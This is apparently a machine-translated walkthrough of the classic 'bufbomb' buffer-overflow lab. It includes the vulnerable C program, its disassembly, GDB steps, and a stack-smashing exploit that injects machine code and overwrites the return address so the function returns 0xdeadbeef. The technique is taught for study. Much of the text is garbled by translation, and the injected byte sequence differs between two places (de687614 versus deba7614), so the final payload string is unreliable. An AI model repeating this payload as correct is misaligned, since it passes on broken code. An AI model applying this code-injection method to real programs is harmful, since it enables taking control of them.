Original Title:
Input a hexadecimal string so that the program outputs 0 xdeadbeef
The procedure is as follows:
/* Bomb program that is solved using a buffer overflow attack */#include <stdio.h>#include <stdlib.h>#include <ctype.h>/* Like gets, except that characters are typed as pairs of hex digits. Nondigit characters are ignored. Stops when encounters newline */char *getxs(char *dest){ int c; int even = 1; /* Have read even number of digits */ int otherd = 0; /* Other hex digit of pair */ char *sp = dest; while ((c = getchar()) != EOF && c != '\n') { if (isxdigit(c)) { int val; if ('0' <= c && c <= '9') val = c - '0'; else if ('A' <= c && c <= 'F') val = c - 'A' + 10; else val = c - 'a' + 10; if (even) { otherd = val; even = 0; } else { *sp++ = otherd * 16 + val; even = 1; } } } *sp++ = '\0'; return dest;}/* $begin getbuf-c */int getbuf(){ char buf[12]; getxs(buf); return 1;}void test(){ int val; printf("Type Hex string:"); val = getbuf(); printf("getbuf returned 0x%x\n", val);}/* $end getbuf-c */int main(){ int buf[16]; /* This little hack is an attempt to get the stack to be in a stable position */ int offset = (((int) buf) & 0xFFF); int *space = (int *) alloca(offset); *space = 0; /* So that don't get complaint of unused variable */ test(); return 0;}
InGetbufThe function may return 1 obviously, and the typical execution of the program is as follows:
Type hex string: 31 32 33 32
Getbuf returned 0x1
The question requires entering a data so that the function that will only return 1 returns 0 xdeadbeef, that is, 0 xdeadbeef is printed in printf of the test function.
This assignment has been around for several days. As a person who has never been in touch with Linux, it is a self-taught job, and it is not easy to get started. Therefore, I think it is necessary to record in detail how to use GCC to solve this problem for those who only use Windows.
1. Use GCC in Windows
You can use mingw. Based on my experience, code: blocks is a good ide. After installation, remember to add XXX \ mingw \ bin to path in my computer-properties-advanced-environment variable, and run gcc-V in cmd, if GCC information is displayed, the installation is successful.
Ii. solution to this question
Compile the included program first, and run cmd to enter the directory where the code is located, assuming the name is main. C.
1. GCC-C main. c
2. GCC-O bufbomb main. o
3. objdump-D bufbomb.exe> bufbomb_obj.s
In this way, the program disassembly file is obtained. Several key functions are as follows:
00401447 <_getbuf>: 401447:55 push %ebp 401448:89 e5 mov %esp,%ebp 40144a:83 ec 28 sub $0x28,%esp 40144d:8d 45 ec lea -0x14(%ebp),%eax 401450:89 04 24 mov %eax,(%esp) 401453:e8 34 ff ff ff call 40138c <_getxs> 401458:b8 01 00 00 00 mov $0x1,%eax 40145d:c9 leave 40145e:c3 ret 0040145f <_test>: 40145f:55 push %ebp 401460:89 e5 mov %esp,%ebp 401462:83 ec 28 sub $0x28,%esp 401465:c7 04 24 64 30 40 00 movl $0x403064,(%esp) 40146c:e8 1f 08 00 00 call 401c90 <_printf> 401471:e8 d1 ff ff ff call 401447 <_getbuf> 401476:89 45 f4 mov %eax,-0xc(%ebp) 401479:8b 45 f4 mov -0xc(%ebp),%eax 40147c:89 44 24 04 mov %eax,0x4(%esp) 401480:c7 04 24 75 30 40 00 movl $0x403075,(%esp) 401487:e8 04 08 00 00 call 401c90 <_printf> 40148c:c9 leave 40148d:c3 ret
Let's take a look at the getbuf function. We can see that the system allocates 0x28 (40 bytes) to getbuf. Buf [] occupies 0x14 (20 bytes) and 8 more bytes than we need, the stack frame structure of getbuf is as follows:
|
| ----- S -- |
|
| --------- | Saved return address
|
0 | --------- | % EBP
| [19] |
|. |
|. |
|. |
| [12] |
-8 | --------- |
| [11] |
|. |
|. |
|. |
| [0] |
-20 | --------- | Buf
|
|
|
|
|
|
|. |
.
.
Figure: getbuf Frame Structure
Based on the methods in the teaching material, we can use the input data to overwrite the original return address and direct it to the first address of the Buf while keeping the % EBP unchanged.
Step 1: to make the output 0 xdeadbeef, We need to input the content
Return to the disassembly File above. The test function shows that the test address is 0x401476 after getbuf is called. Therefore, in the stack frame structure of getbuf, the return address is also 0x401476; alternatively, you can determine the return address through GDB debugging. The operation is as follows:
1. <GDB> GDB bufbomb
2. <GDB> r
3. <GDB> P/x * (int *) $ EBP + 1)
Similarly, $1 = 0x401476 is displayed.
Enter <GDB> P/X (int *)-5) to get the first address of BUF []: 0x22ef84.
Then, enter 0xdeadbeef and jump to the return address 0x401476.
mov $0xdeadbeef, %eaxmov $0x401476, %edxjmp *%edx
Edit it in a text editor and change the suffix. s, for example, show. s, then gcc-C show. s, objdum-d show. o, you can see the code of this operation: b8efbead de687614 4000ffe2, a total of 12 groups;
There is another method,
mov $0xdeadbeef, %eaxpush $0x401476ret
The same effect can be achieved.
Step 2: Create a bomb
Now that you have obtained the first address of BUF [], the value of % EBP, and the value of the returned address, you can create a bomb. There is an 8-byte buffer between bu [12] and % EBP. The experiment shows that it is okay to enter any value in this region. It is better to enter 0. The key is to overwrite the returned address value to the first address of the Buf.
Run the program directly. The input array is:
B8efbead deba7614 4000ffe2 00000000 00000000 c8ef2200 84ef2200
% EBP Buf [] first address of the buffer with an extra 8 bytes of the machine code obtained through Disassembly
The result is displayed.